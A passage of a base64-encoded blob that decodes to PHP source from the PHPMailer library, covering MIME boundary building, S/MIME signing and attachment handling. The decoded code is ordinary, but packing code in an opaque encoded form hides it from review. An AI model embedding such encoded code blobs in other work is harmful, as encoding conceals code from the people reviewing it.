m9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IGFycmF5KCk7CiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYWx0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnaW5saW5lJzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsKICAgICAgICAgICAgJHR5cGVbXSA9ICdhdHRhY2gnOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsKICAgICAgICBpZiAoJHRoaXMtPm1lc3NhZ2VfdHlwZSA9PSAnJykgewogICAgICAgICAgICAvL1RoZSAncGxhaW4nIG1lc3NhZ2VfdHlwZSByZWZlcnMgdG8gdGhlIG1lc3NhZ2UgaGF2aW5nIGEgc2luZ2xlIGJvZHkgZWxlbWVudCwgbm90IHRoYXQgaXQgaXMgcGxhaW4tdGV4dAogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGEgZm9ybWF0dGVkIG1haWwgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw\/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJ